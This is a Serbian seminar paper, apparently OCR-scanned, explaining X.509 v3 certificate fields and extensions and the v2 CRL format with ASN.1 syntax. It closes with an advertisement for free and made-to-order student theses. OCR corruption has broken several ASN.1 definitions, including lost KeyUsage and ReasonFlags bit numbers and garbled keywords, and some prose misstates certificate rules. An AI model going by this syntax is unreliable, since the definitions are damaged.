TBSCertificate, sadrzi informacije vezane za vlasnika sertifikata kao i
CA koje je izdalo sertifikat. Svako polje TBSCertificate sadrzi ime
vlasnika kao i ime izdavaoca sertifikata, period vazenja, broj verzije kao
i serijski broj. Polje moze opciono sadrzati i jedinstveni indetifikator
polja. TBSCertificate obi¢no sadrzi ekstenzije.

Version, sadrzi verziju sertifikata,

Serial number, mora biti pozitivan ceo broj koji CA dodeljuje svakom
sertifikatu, takode, broj mora biti jedinstven za svaki sertifikat.
Signature, sadrzi identifikator algoritma koji koristi CA za potpisivanje
sertifikata. Ovo polje mora sadrzati isti identifikator algoritma kao polje
signatureAlgorithm. Opcioni parametri zavise od identifikatora
algoritma.

Issuer, sadrzi identifikaciju entiteta koji je izdao i potpisao sertifikat.
Polje ne sme biti prazno i mora sadrzati prepoznatljivo ime - DN. Polje
Issuer je definisano standardom X.501 na slede¢i nacin :

::= CHOICE {
RDNSequence }

RDNSequence ::= SEQUENCE OF RelativeDistinguishedName

RelativeDistinguishedName ::=

SET OF AttributeTypeAndValue

AttributeTypeAndValue ::= SEQUENCE {

type AttributeType,
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value Attributevalue }

AttributeType ::= OBJECT IDENTIFIER
Attributevalue ::= ANY DEFINED BY AttributeType
DirectoryString ::= CHOICE {

teletexString TeletexString (SIZE (1..MAX)),
printableString PrintableString (SI1ZE (1..MAX)),
universalString UniversalString (SI1ZE (1..MAX)),
utf8String UTF8String (SIZE (1..MAX)),

bmpString BMPString (SIZE (1..MAX)) }

Prema standardu X.500 navedena struktura mora biti u stanju da prihvati
sledece atribute :

drzava,

organizacija,
organizaciona jedinica,
jedinstveno ime,
region,

javno ime,

serijski broj.

Dok se kao dodatni atributi pojavljuju :

mesto,

titula,

prezime,

ime,

inicijali

pseudonim,

oznaka generacije (npr. "Jr.", "3rd", ili "1V").

Pored navedenih, definisana su i sledeca polja :

Validity, period vazenja sertifikata je vremenski interval za vreme Cijeg
trajanja CA garantuje da prati status sertifikata. Polje se sastoji od dva
datuma notBefore i notAfter, pri ¢emu su ukljuceni 1 pomenuti datumi.
Za godine do 2049. za prikazivanje vremena se koristi format
UTCTime, dok se za sertifikate koji vaze od 2050. na dalje koristi
format GeneralizedTime. Potrebno je napomenuti da se datum racuna po
Greenwich-u ili, kako je to uobicajeno da se kaze u zapadnoj literaturi
Zulu time. UTCTime se predstavlja u formatu YYMMDDHHMMSSZ,
dok se GeneralizedTime predstavlja u formatu
YYYYMMDDHHMMSSZ.

Subject, identifikuje entitet koji je povezan sa javnim klju¢em koji se
nalazi smeSten u odgovaraju¢em polju sertifikata. Ime subjekta moze
biti smeSteno i u ekstenziji subjectAltName.

Subject Public Key Info, polje sadrzi javni klju¢ vlasnika sertifikata i
opisuje algoritam za koji se klju¢ koristi (npr. RSA, DSA, ili Diffie-
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Hellman).  Algoritam  se  definiSe  koris¢enjem  podatka
AlgorithmIdentifier.

- Unique Identifiers, polje se pojavljuje u verzijama 2 i 3. Ime subjekta i
izdavaoca se pojavljuju u sertifikatu 1 sprecavaju mogucénost ponovnog
koris¢enja istog imena, $to podvrduje CA koje je izdalo sertifikat.

- Extensions, polje se pojavljuje samo u verziji 3, i predstavlja sekvencu
od jedne ili viSe ekstenzija.

Ekstenzije sertifikata

Ekstenzije koje su definisane za X.509 v3 sertifikate obezbeduju metode za
definisanje dodatnih atributa koji opisuju dopunske informacije o vlasniku
sertifikata. Standard X.509 v3 dopusta definisanje i privatnih ekstenzija koje su
jedinstvene za svaku grupu korisnika. Svaka ekstenzija se definiSe kao kriti¢na
ili nekriti¢na. Svaki sertifikat mora imati definisan atribut koji je deklarisan kao
kritican, dok nekriti¢ni atributi mogu biti izostavljeni i sistem ¢e ih odbaciti
ukoliko ih ne prepozna.

Velic¢ina extnID ¢iju vrednost predstavlja kodirani oktet string smesta se u polje
extnValue. Ekstenzija, takode, ukljucuje boolean polje koje definise da 1i je
atribut kritian (TRUE) ili nekriti¢an (FALSE).

Neke od standardnih ekstenzija su :

- Authority Key Identifier

Obezbeduje informaciju o javnom klju¢u CA koje je potpisalo sertifikat,
a koji je u vezi sa odgovaraju¢im tajnim klju¢em CA koji je potpisao
sertifikat. Identifikacija klju¢a se moze ostvariti bilo putem
identifikatora kljuca ili preko imena izdavaoca sertifikata, kao i
serijskog broja sertifikata. Polje keyldentifier obavezno mora biti
ukljuceno u razmatranu ekstenziju u svim sertifikatima koje je izdalo
nadlezno CA. Postoji jedan izuzetak : kada je sertifikat samopotpisan
gde Authority Key Identifier moze biti izostavljen. Potpis na
samopotpisanom sertifikatu se generiSe tajnim klju¢em Kkoji je uparen sa
odgovaraju¢im javnim klju¢em , u ovom sluc€aju potpisnika tj. izdavaoca
sertifikata. Vrednost veli¢ine keyldentifier bi trebalo da bude izvedena
iz javnog kljuca koji se koristi za verifikaciju potpisa metodom koja
generiSe jedinstvenu vrednost. Ukoliko identifikator kljucéa nije
definisan preporucuje se koris¢enje neke od metoda za generisanje
veli¢ine keyldentifiers. Ukoliko je identifikator kljuca ranije definisan,
CA bi trebalo da ga koristi u datom obliku. Preporucuje se koris¢enje
metoda koje prepoznaju svi izdavaoci sertifikata. Ova ekstenzija ne sme
biti oznacena kao kriti¢na. Sintaksa za definisanje Authority Key
Identifier veli¢ine moze imati sledeci izgled :
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id-ce-authorityKeyldentifier OBJECT IDENTIFIER ::= { id-ce 35

}

AuthorityKeyldentifier ::= SEQUENCE { keyldentifier [O]
Keyldentifier OPTIONAL,

authorityCertlssu [1] GeneralNames OPTIONAL,

authorityCertSerialNumber[2] ertificateSerialNumber OPTIONAL }

Keyldentifier ::= OCTET STRING

- Subject Key Identifier
Definise javni klju¢ koji se sadrzi u sertifikatu. Da bi se olaksao pristup
podacima koji definiSu pristup ovlas¢enom CA, razmatrani podatak mora
postojati, tj. ne sme biti prazno polje. Vrednost subject key identifier mora biti
smeStena u polje key identifier u ekstenziji Authority Key Identifier. Za
sertifikate CA subject key identifiers bi trebalo da bude izveden iz javnog
klju¢a metodom koja generiSe jedinstvenu vrednost. Koriste se dve uobicajene
metode za generisanje veliCine key identifier iz javnog kljuca i to :
- keyldentifier se generiSe iz 160-bit SHA-1 hash-a iz vrednosti veli¢ine
subjectPublicKey,
- keyldentifier se generiSe od cetiri bita 0100 iza kojih sledi 60 zna¢ajnih
bitova SHA-1 hash-a vrednosti veli¢ine subjectPublicKey.
Ukoliko entitet poseduje viSe sertifikata, pogotovo ako su izati od strane
razlicitih CA, subject key identifier omogucava brzu identifikaciju svih
sertifikata koji sadrze dati javni klju¢. U svakom slucaju, posmatranu
ekstenziju bi trebalo ukljuciti u sertifikat. Ova ekstenzija ne sme biti oznacena
kao kriti¢na.
Sintaksa za definisanje Subject Key Identifier veli¢ine moZe imati sledeci

izgled :

id-ce-subjectKeyldentifier OBJECT IDENTIFIER ::= { id-ce 14 }
SubjectKeyldentifier ::= Keyldentifier
- Key Usage

Definise ulogu kljuca koji se nalazi na sertifikatu. Mogu postojati i uslovi koji
ogranic¢avaju upotrebu kljuc¢a. Na primer RSA klju¢ se moze koristiti samo za
verifikaciju potpisa ili samo za key management itd.

Razmatrana ekstenzija se mora pojaviti u sertifikatu koji sadrzi javni klju¢ koji
se koristi za verifikaciju digitalnog potpisa drugim javnim klju¢em na drugom
sertifikatu ili CRL-u. Ekstenzija se definise kao kriti¢na.

Sintaksa za definisanje Key Usage veli¢ine moze imati sledeci izgled :

id-ce-keyUsage OBJECT IDENTIFIER ::= { id-ce 15 }
KeyUsage ::= BIT STRING {
digitalSignature ),
nonRepudiation D,
keyEncipherment (2,
dataEncipherment ),

218



keyAgreement 4,

keyCertSign (5),
CRLSign (6),
encipherOnly a,
decipherOnly @A) }

- Private Key Usage Period
Ekstenziju ne bi trebalo Koristiti u okviru Internet PKI sistema. CA koja
podrzavaju ovakav profil ne smeju generisati sertifikate koji ukljucuju kriticnu
ekstenziju Private Key Usage Period.
Ekstenzija Private Key Usage Period omogucava korisniku sertifikata da
definiSe period vaznosti tajnog kljuca koji se razlikuje od perioda vaznosti
sertifikata. U razmatranoj ekstenziji se koriste dve opcione komponente
notBefore i notAfter. Tajni klju¢ za potpisivanje se ne moze koristiti van
vremenskog perioda koji je definisan ovim dvema veli¢inama.
CA koje podrzava ovakav profil ne sme generisati sertifikate sa ekstenzijom
private key usage period sve dok se ekstenzija ne proglasi nekriti¢nom.
Komponente notBefore i notAfter se prikazuju u formatu GeneralizedTime,
kao Sto je opisano u prethodnom delu teksta.
Sintaksa za definisanje Private Key Usage Period veli¢ine moze imati sledeci
izgled :

id-ce-privateKeyUsagePeriod OBJECT IDENTIFIER ::= { id-ce 16 }
PrivateKeyUsagePeriod ::= SEQUENCE {
notBefore [0] GeneralizedTime OPTIONAL,
notAfter [1] GeneralizedTime OPTIONAL }

- Certificate Policies
Ekstenzija koristi sekvencu od jedne ili vise politika sertifikacije od kojih se
svaka sastoji od identifikatora objekta i opcionih karakteristika. Opcione
karakteristike, ukoliko se pojavljuju, ne mogu menjati politiku sertifikacije.
Posmatrana ekstenzija daje informacije o politici sertifikacije kojom je
definisano izdavanje sertifikata, kao i uslove pod kojima sertifikat moze biti
koris¢en. Sadrzane informacije ograniCavaju grupu politika sertifikacije koje
podrzava dati sertifikat. Medutim, postoji i mogucnost da CA ne ograni¢ava
broj politika sertifikacije koji sertifikat podrzava. Radi omogucéavanja
interoperabilnosti preporucuje se da informacija o politici sertifikacije sadrZi
samo OID. Ukoliko je to nedovoljno, preporucuje se striktna upotreba atributa
koji su opisani u ovom delu teksta. CPS pokazivac, u formu URL-a, pokazuje
na CPS koji je objavljen od strane nadleznog CA.
Komentari koji se odnose na korisnika sertifikata sadrze dva opciona polja :
noticeRef i explicitText field.
Polje noticeRef, ukoliko se koristi, imenuje organizaciju koja je izdala sertifikat
putem broja ili teksta koji je pripremljen od strane izdavaoca. Tekst je dat u
polju explicitText koje ne moze biti duze od 200 karaktera.
Sintaksa za definisanje Certificate Policies veli¢ine moze imati sledeéi izgled :
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id-ce-certificatePolicies OBJECT IDENTIFIER ::= { id-ce 32 }

anyPolicy OBJECT IDENTIFIER ::= { id-ce-certificate-policies 0 }
certificatePolicies ::= SEQUENCE SIZE (1..MAX) OF Policylnformation
PolicylInformation ::= SEQUENCE {

policyldentifier CertPolicyld,
policyQualifiers SEQUENCE SIZE (1..MAX) OF
PolicyQualifierinfo OPTIONAL }

CertPolicyld ::= OBJECT IDENTIFIER
PolicyQualifierInfo ::= SEQUENCE {
policyQualifierld PolicyQualifierld,
qualifier ANY DEFINED BY policyQualifierld }

-- policyQualifierlds for Internet policy qualifiers

id-qt OBJECT IDENTIFIER ::= { id-pkix 2 }
id-qt-cps OBJECT IDENTIFIER ::= { id-gqt 1 }
id-gt-unotice OBJECT IDENTIFIER ::= { id-qt 2 }

PolicyQualifierld ::=
OBJECT IDENTIFIER ( id-qt-cps | id-gt-unotice )

Qualifier ::= CHOICE {
cPSuri CPSuri,
userNotice UserNotice }
CPSuri ::= 1A5String
UserNotice ::= SEQUENCE {
noticeRef NoticeReference OPTIONAL,
explicitText DisplayText OPTIONAL}
NoticeReference ::= SEQUENCE {
organization DisplayText,

noticeNumbers SEQUENCE OF INTEGER }

DisplayText ::= CHOICE {
iabString 1A5String (SI1ZE (1..200)),
visibleString VisibleString (SIZE (1..200)),
bmpString BMPString (SI1ZE (1..200)),
utf8String UTF8String (SI1ZE (1..200)) }

- Policy Mappings
Ekstenzija se koristi u sertifikatima CA i definise se isklju¢ivo kao nekriticna
veli¢ina.
Sintaksa za definisanje Policy Mappings veli¢ine moze imati slede¢i izgled :

id-ce-policyMappings OBJECT IDENTIFIER ::= { id-ce 33 }
PolicyMappings ::= SEQUENCE SIZE (1..-MAX) OF SEQUENCE {

issuerDomainPolicy CertPolicyld,
subjectDomainPolicy CertPolicyld }
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- Subject Alternative Name
Ekstenzija omogucava dodeljivanje alternativnih imena subjektu. To moze biti
Internet e-mail adresa, ime DNS-a. IP adrsa ili URI. Alternativno ime mora biti
vezano za javni klju¢ subjekta Sto mora biti verifikovano od strane nadleznog

CA.
Sintaksa za definisanje Subject Alternative Name veli¢ine moze imati sledeci
izgled :

id-ce-subjectAltName OBJECT IDENTIFIER ::= { id-ce 17 }
SubjectAltName ::= GeneralNames
GeneralNames ::= SEQUENCE SIZE (1..MAX) OF GeneralName
GeneralName ::= CHOICE {
otherName [0] OtherName,
rfc822Name [1] 1A5String,
dNSName [2] 1A5String,
Xx400Address [31 ORAddress,
directoryName [4] Name,
ediPartyName [51 EDIPartyName,
uniformResourceldentifier [61 IA5String,
iPAddress [71 OCTET STRING,
registeredID [81 OBJECT IDENTIFIER }
OtherName ::= SEQUENCE {
type-id OBJECT IDENTIFIER,
value [0] EXPLICIT ANY DEFINED BY type-id }
EDIPartyName ::= SEQUENCE {
nameAssigner [0] DirectoryString OPTIONAL,
partyName [1] DirectoryString }

- Issuer Alternative Names
Koristi se za identifikaciju izdavaoca sertifikata u Internet okruzenju. Ukoliko
postoji, ne bi trebalo da je oznacen kao kriti¢ni atribut.
Sintaksa za definisanje Issuer Alternative Names veli¢ine moze imati sledeci
izgled :

id-ce-issuerAltName OBJECT IDENTIFIER ::= { id-ce 18 }

IssuerAltName ::= GeneralNames

- Subject Directory Attributes
Koristi se za dodatni opis subjekta (npr. nacionalnost) i mora biti definisan kao
nekriticni atribut.
Sintaksa za definisanje Subject Directory Attributes veli¢ine moze imati sledeci

izgled:
id-ce-subjectDirectoryAttributes OBJECT IDENTIFIER ::= { id-ce 9 }

SubjectDirectoryAttributes ::= SEQUENCE SIZE (1..MAX) OF Attribute
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- Basic Constraints

DefiniSe osnovna ograni¢enja koja se odnose na oblast vazenja sertifikata.
Ukoliko sertifikat pripada samom CA tada boolean veli¢ina cA ima vrednost
TRUE. Ukoliko se radi o sertifikatu CA koji sadrzi javni klju¢, a koji se koristi
za verifikaciju digitalnog potpisa na sertifikatima, posmatrana ekstenzija se
mora definisati kao kriticna. Ukoliko se javni klju¢ ne koristi za koristi
verifikaciju digitalnog potpisa na sertifikatima, ekstenzija se moze pojaviti i
kao nekriti¢na.

Sintaksa za definisanje Basic Constraints veli¢ine moze imati sledec¢i izgled :

id-ce-basicConstraints OBJECT IDENTIFIER ::= { id-ce 19 }

BasicConstraints ::= SEQUENCE {
cA BOOLEAN DEFAULT FALSE,
pathLenConstraint INTEGER (0..MAX) OPTIONAL }

- Name Constraints

Koristi se isklju¢ivo u sertifikatima CA i definiSe opseg imena u okviru koga se
izdaju sertifikati pod kontrolom posmatranog CA. Atribut se ne Koristi za
sertifikate koji pripadaju samom CA, dok za ostale izdate sertifikate sprecava
izdavanja imena van datog opsega. Ekstenzija se mora definisati kao kriti¢na.
Ogranicenje u imenu Internet mail adrese definiSe adresu na odredenom host-u
imajuci u vidu sve ostale adrese na posmatranom host-u.

Sintaksa za definisanje Name Constraints veli¢ine moze imati sledeci izgled :

id-ce-nameConstraints OBJECT IDENTIFIER ::= { id-ce 30 }
NameConstraints ::= SEQUENCE {

permittedSubtrees [0] GeneralSubtrees OPTIONAL,

excludedSubtrees [1] GeneralSubtrees OPTIONAL }
GeneralSubtrees ::= SEQUENCE SIZE (1..MAX) OF GeneralSubtree
GeneralSubtree ::= SEQUENCE {

base GeneralName,

minimum [0] BaseDistance DEFAULT O,

max imum [1] BaseDistance OPTIONAL }
BaseDistance ::= INTEGER (0..MAX)

- Policy Constraints
Ekstenzija se koristi u sertifikatima koji se izdaju za CA. Ograni¢enja se mogu
javiti u dva vida :
- ograni¢enja dodatnog mapiranja politike do CP
DefiniSe se broj dodatnih sertifikata koji se mogu pojaviti u putanji
prema CA, pre nego Sto mapiranje politike bude zabranjeno. Vrednost
koja se pojavljuje definiSe proceduru kojom se mapiranje politike moze
sprovesti u sertifikatima koje su izdali subjekti koji poseduju sertifikate,
ali bez dodatnih sertifikata u putanji.
- zahteva da svaki sertifikat sadrzi definisani identifikator politike
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Vrednost definiSe broj dodatnih sertifikata koji se mogu pojaviti u
putanji do politike sertifikacije.
CA koja verifikuju sertifikate, ne smeju izdavati sertifikate u kojima je Policy
Constraints prazna sekvenca. Ekstenzija moze biti kriti¢na ili nekriti¢na.
Sintaksa za definisanje Policy Constraints veli¢ine moze imati sledeci izgled :

id-ce-policyConstraints OBJECT IDENTIFIER ::= { id-ce 36 }
PolicyConstraints ::= SEQUENCE {
requireExplicitPolicy [0] SkipCerts OPTIONAL,
inhibitPolicyMapping [1] SkipCerts OPTIONAL }
SkipCerts ::= INTEGER (0..MAX)

- Extended Key Usage
Ukazuje na jednu ili viSe moguénosti za koje sertifikovani javni klju¢ moze biti
koriS¢en. Pored osnovih namena, definiSu se 1 dodatne namene koriS¢enja
kljuca.
U principu, razmatrana ekstenzija se javlja na kraju sertifikata i moze biti
definisana na slede¢i nacin :

id-ce-extKeyUsage OBJECT IDENTIFIER ::= { id-ce 37 }
ExtKeyUsageSyntax ::= SEQUENCE SIZE (1..MAX) OF KeyPurposeld
KeyPurposeld ::= OBJECT IDENTIFIER

Ekstenzija moze biti kriti¢na ili nekriti¢na. Ukoliko se ekstenzija pojavljuje u
sertifikatu, serifikat se mora koristiti isklju¢ivo u skladu sa definisanom
ekstenzijom. Ukoliko se klju¢ moze korisiti za vise namena, ta Cinjenica
ukazuje na potrebu da aplikacija koja radi sa sertifikatom mora prepoznati sve
namene. Takode, aplikacija moze zahtevati da odredena namena koriS¢enja
kljuca bude striktno navedena kako bi mogla prihvatiti sertifikat.

Ukoliko CA ukljucuje extended key usages, ali pri tom ne zeli da ogranici
upotrebu kljuca, tada se uvodi veli¢ina anyExtended KeyUsage.

U tom slucaju sintaksa za definisanje Extended Key Usage veli¢ine moZe imati
sledeci izgled :

anyExtendedKeyUsage OBJECT IDENTIFIER ::= { id-ce-extKeyUsage O }
id-kp OBJECT IDENTIFIER ::= { id-pkix 3 }
id-kp-serverAuth OBJECT IDENTIFIER ::= { id-kp 1 }

-- TLS WWW server authentication
-- Key usage bits that may be consistent: digitalSignature,
-- keyEncipherment or keyAgreement

id-kp-clientAuth OBJECT IDENTIFIER ::= { id-kp 2 }
-- TLS WWW client authentication
-- Key usage bits that may be consistent: digitalSignature
-- and/or keyAgreement

id-kp-codeSigning OBJECT IDENTIFIER ::= { id-kp 3 }
-- Signing of downloadable executable code
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-- Key usage bits that may be consistent: digitalSignature

id-kp-emai lProtection OBJECT IDENTIFIER ::= { id-kp 4 }
-— E-mail protection
-- Key usage bits that may be consistent: digitalSignature,
--— nonRepudiation, and/or (keyEncipherment or keyAgreement)

id-kp-timeStamping OBJECT IDENTIFIER ::= { id-kp 8 }
-- Binding the hash of an object to a time
-- Key usage bits that may be consistent: digitalSignature
—-— and/or nonRepudiation

id-kp-0CSPSigning OBJECT IDENTIFIER ::= { id-kp 9 }
—-— Signing OCSP responses
-- Key usage bits that may be consistent: digitalSignature
-— and/or nonRepudiation

- CRL Distribution Points

Ekstenzija definiSe kako se dobijaju informacije o listi povucenih sertifikata -
CRL. Preporuka je da posmatrana ekstenzija bude nekriti¢na. Atribut
cRLDistributionPoints se sastoji od niza DistributionPoint-a, od kojh se svaki
sastoji od tri polja, od kojih je svako opciono. Ukoliko DistributionPointName
sadrzi viSe vrednosti, svako ime opisuje razli¢iti nacin pristupa samom CRL-u.
Na primer istom CRL-u se moze pristupiti preko LDAP-a ili HTTP-a.

Sintaksa za definisanje CRL Distribution Points veli¢ine moZe imati sledeci
izgled :

id-ce-cRLDistributionPoints OBJECT IDENTIFIER ::= { id-ce 31 }
CRLDistributionPoints ::= SEQUENCE SIZE (1..-MAX) OF DistributionPoint
DistributionPoint ::= SEQUENCE {

distributionPoint [O0] DistributionPointName
OPTIONAL,

reasons [1] ReasonFlags OPTIONAL,

CRLIssuer [2] GeneralNames OPTIONAL }
DistributionPointName ::= CHOICE {

ful IName [0] GeneralNames,

nameRelativeToCRLIssuer [1] RelativeDistinguishedName }
ReasonFlags ::= BIT STRING {

unused ),

keyCompromise ),

cACompromise ),

affiliationChanged A3),

superseded @),

cessationOfOperation o5),

certificateHold (6),

privilegeWithdrawn a,

aACompromise @) }

- Inhibit Any-Policy
Ekstenzija se koristi u sertifikatima koje koristi CA. Daje odgovor na pitanje da
li izdati sertifikat moze prihvatiti bilo koju CP ili samo politiku svog CA.
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Posebno treba obratiti paznju na posmatrani atribut ukoliko se radi na
interoperabilnostii sa drugim CA. Ekstenzija mora biti kriti¢na.
Sintaksa za definisanje Inhibit Any-Policy veli¢ine moze imati sledeéi izgled :

id-ce-inhibitAnyPolicy OBJECT IDENTIFIER ::= { id-ce 54 }
InhibitAnyPolicy ::= SkipCerts

SkipCerts ::= INTEGER (0..MAX)

- Freshest CRL
Ekstenzija definiSe pristup najnovijim podacima koji su objavljeni u CRL-u i
mora biti nekritina.
Sintaksa za definisanje Freshest CRL veli¢ine moze imati slede¢i izgled :

id-ce-freshestCRL OBJECT IDENTIFIER ::= { id-ce 46 }

FreshestCRL ::= CRLDistributionPoints

- Private Internet Extensions
Atribut definiSe veliine koje se koriste u Internet Public Key infrastrukturi.
Koristi se za on-line informacije o CA ili vlasniku sertifikata i u tom smislu
definise privatne ekstenzije.
Sintaksa za definisanje Private Internet Extensions veli¢ine moze imati sledeci
izgled:

id-pkix OBJECT IDENTIFIER ::=
{ iso(1) identified-organization(3) dod(6) internet(l)
security(5) mechanisms(5) pkix(7) }

id-pe OBJECT IDENTIFIER ::= { id-pkix 1 }

- Authority Information Access
DefiniSe nacin pristupa informacijama i servisima CA. Informacije i servisi
mogu ukljuciti on-line validaciju servisa, kao i podatke o politici CA.
Ekstenzija moZe biti uklju¢ena u CA sertifikate 1 mora biti nekriti¢na.
Sintaksa za definisanje Authority Information Access veliCine moze imati
sledeci izgled :
id-pe-authoritylnfoAccess OBJECT IDENTIFIER ::= { id-pe 1 }

AuthoritylnfoAccessSyntax ::=
SEQUENCE SIZE (1..MAX) OF AccessDescription

AccessDescription ::= SEQUENCE {
accessMethod OBJECT IDENTIFIER,
accesslLocation GeneralName }
id-ad OBJECT IDENTIFIER ::= { id-pkix 48 }
id-ad-calssuers OBJECT IDENTIFIER ::= { id-ad 2 }

id-ad-ocsp OBJECT IDENTIFIER ::= { id-ad 1 }
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- Subject Information Access
Defini$e nacin pristupa informacijama i servisima vlasnika sertifikata u kome
se atribut pojavljuje. Ukoliko je vlasnik sertifikata CA, u informacijama se
mogu pojaviti servisi za validaciju sertifikata kao i politike CA. Ekstenzija
moze biti ukljucena u sertifikate subjekata ili CA 1 mora biti nekriti¢na.
Sintaksa za definisanje Subject Information Access veli¢ine moze imati sledeéi
izgled:

id-pe-subjectinfoAccess OBJECT IDENTIFIER ::= { id-pe 11 }

SubjectInfoAccessSyntax ::=
SEQUENCE SIZE (1..MAX) OF AccessDescription

AccessDescription ::= SEQUENCE {
accessMethod OBJECT IDENTIFIER,
accesslLocation GeneralName }

CRL kao i CRL profili su definisani standardom X.509 v2 radi postizanja
interoperabilnosti u okviru Internet PKI sistema.

Sertifikat X.509 Verzije 2 se moZze definisati slede¢om sintaksom :

CertificateList ::= SEQUENCE {
tbsCertList TBSCertList,
signatureAlgorithm  Algorithmldentifier,
signatureValue BIT STRING }
TBSCertList ::= SEQUENCE {
version Version OPTIONAL,
-— if present, MUST be v2
signature Algorithmldentifier,
issuer Name,
thisUpdate Time,
nextUpdate Time OPTIONAL,
revokedCertificates SEQUENCE OF SEQUENCE {
userCertificate CertificateSerialNumber,
revocationDate Time,
crlEntryExtensions Extensions OPTIONAL
-— if present, MUST be v2
} OPTIONAL,
crlExtensions [0] EXPLICIT Extensions OPTIONAL
-— if present, MUST be v2
}

-— Version, Time, CertificateSerialNumber, and Extensions

U daljem tekstu, bi¢e dat kratak opis nekih osnovnih polja koja se javljaju u
navedenom sertifikatu.

- CertificateList Fields
Predstavlja sekvencu od tri neophodna polja :
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- thsCertList
Sadrzi ime izdavaoca sertifikata, datum izdavanja, datum narednog
izdavanja, a opciono listu povucenih sertifikata i takode opciono CRL
ekstenzije. Ukoliko ne postoje povuceni sertifikati pomenuto opciono
polje je prazno, a ukoliko postoje, svaki povuceni sertifikat je definisan
svojim serijskom brojem i eventualno dodatnim atributima.

- signatureAlgorithm
Sadrzi identifikator algoritma koji koristi izdavaoc CRL-a za potpis
CertificateList-a.

- signatureValue
Sadrzi digitalni potpis. CA koji je ujedno i izdavaoc CRL-a moze
koristiti svoj tajni klju¢ za potpisivanje sertifikata i CRL-a ili moze
koristiti razli¢ite tajne kljueve za potpisivanje sertifikata odnosno CRL-
a.

- Version
Opciono polje koje definiSe verziju CRL-a.

- Signature
Sadrzi identifikator algoritma koji se koristi za potpisivanje CRL-a. Polje mora
sadrzati isti algoritam kao i signatureAlgorithm.

- Issuer Name
Identifikuje se izdavaoc koji je izdao i potpisao CRL. U posmatranom polju se
mogu javiti 1 alternativna imena, kako je to ve¢ opisano.

- This Update
DefiniSe datum izdavanja CRL-a i to u obliku UTCTime ili GeneralizedTime.

- Next Update
DefiniSe datum narednog izdavanja CRL-a. CRL moze biti izdato i pre
navedenog datuma, ali nikako posle. Datum takode moze biti u obliku
UTCTime ili GeneralizedTime.

- Revoked Certificates
Ukoliko nema povucenih serifikata, lista povucenih sertifikata ne postoji. U
suprotnom, u listi se navode serijski brojevi sertifikata kojima su povuceni
sertifikati jedinstveno identifikovani.

- CRL Extensions

Standard X.509 v2 CRL format dozvoljava definisanje privatnih ekstenzija.
Svaka ekstenzija u CRL-u moze biti definisana kao kriti¢na ili nekriti¢na.
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- Authority Key Identifier
DefiniSe javni klju¢ koji odgovara tajnom kljucu, a koji se koristi za
potpisivanje CRL-a. Klju¢ se moze definisati bilo identifikatorom kljuca, bilo
imenom izdavaoca i serijskim brojem. Ekstenzija je naro¢ito korisna ukoliko
izdavaoc koristi viSe od jednog kljuca za potpisivanje. Posmatrana ekstenzija
mora biti uklju€ena u sintaksu CRL-a.

- Issuer Alternative Name
Izdavaoc CRL liste moze imati viSe alternativnin imena ,5to je neophodno
definisati posmatranim atributom. Opcija uklju¢uje e-mail adresu, ime DNS-a,
IP adresu ili URI identifikator.

- CRL Number
Radi se o nekriti¢noj ekstenziji koja predstavlja monotono rastuc¢i niz brojeva
za datu CRL. Pomoc¢u ove ekstenzije lako se odreduje kada je odredena CRL
zamenjena drugom.
Sintaksa za definisanje CRL Number veli¢ine moze imati slede¢i izgled :

id-ce-cRLNumber OBJECT IDENTIFIER ::= { id-ce 20 }

CRLNumber ::= INTEGER (0..MAX)

- Issuing Distribution Point
Predstavlja kriticnu CRL ekstenziju i definiSe da li CRL podrzava listu
povucenih sertifikata krajnjih korisnika, svih CA sertifikata i odgovarajucih
atributa.
Sintaksa za definisanje Issuing Distribution Point veli¢ine moze imati sledeci
izgled :

id-ce-issuingDistributionPoint OBJECT IDENTIFIER ::= { id-ce 28 }
issuingDistributionPoint ::= SEQUENCE {
distributionPoint [0] DistributionPointName
OPTIONAL,
onlyContainsUserCerts [1] BOOLEAN DEFAULT FALSE,
onlyContainsCACerts [2] BOOLEAN DEFAULT FALSE,
onlySomeReasons [3] ReasonFlags OPTIONAL,
indirectCRL [4] BOOLEAN DEFAULT FALSE,

onlyContainsAttributeCerts [5] BOOLEAN DEFAULT FALSE }

Na kraju se moze zakljuciti da je X.509 standardom veoma precizno definisan
kako sadrzaj samih digitalnih sertifikata tako 1 liste povucenih sertifikta. Treba
imati na umu i ¢injenicu da je ostavljeno dovoljno mogucnosti za proSirivanje
liste atributa, Sto je od izuzetnog znacaja sa stanoviSta interoperabilnosti
razli€itih sertifikacionih tela.
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BESPLATNI GOTOVI SEMINARSKI, DIPLOMSKI | MATURSKI RAD.

RADOVI IZ SVIH OBLASTI, POWERPOINT PREZENTACUE | DRUGI EDUKATIVNI
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NA NASIM SAJTOVIMA MOZETE PRONACI SVE, BILO DA JE TO SEMINARSKI, DIPLOMSKI ILI MATURSKI
RAD, POWERPOINT PREZENTACIJA | DRUGI EDUKATIVNI MATERIJAL. ZA RAZLIKU OD OSTALIH MI VAM
PRUZAMO DA POGLEDATE SVAKI RAD, NJEGOV SADRZAJ | PRVE TRI STRANE TAKO DA MOZETE TACNO DA
ODABERETE ONO STO VAM U POTPUNOSTI ODGOVARA. U BAZI SE NALAZE GOTOVI SEMINARSKI,
DIPLOMSKI | MATURSKI RADOVI KOJE MOZETE SKINUTI | UZ NJIHOVU POMOC NAPRAVITI JEDINSTVEN |
UNIKATAN RAD. AKO U BAZI NE NADETE RAD KOJI VAM JE POTREBAN, U SVAKOM MOMENTU MOZETE
NARUCITI DA VAM SE IZRADI NOVI, UNIKATAN SEMINARSKI ILI NEKI DRUGI RAD RAD NA LINKU IZRADA
RADOVA. PITANJ;A | ODGOVORE MOZETE DOBITI NA NASEM FORUMU ILI NA
MATURSKIRADOVI.NET@GMAIL.COM
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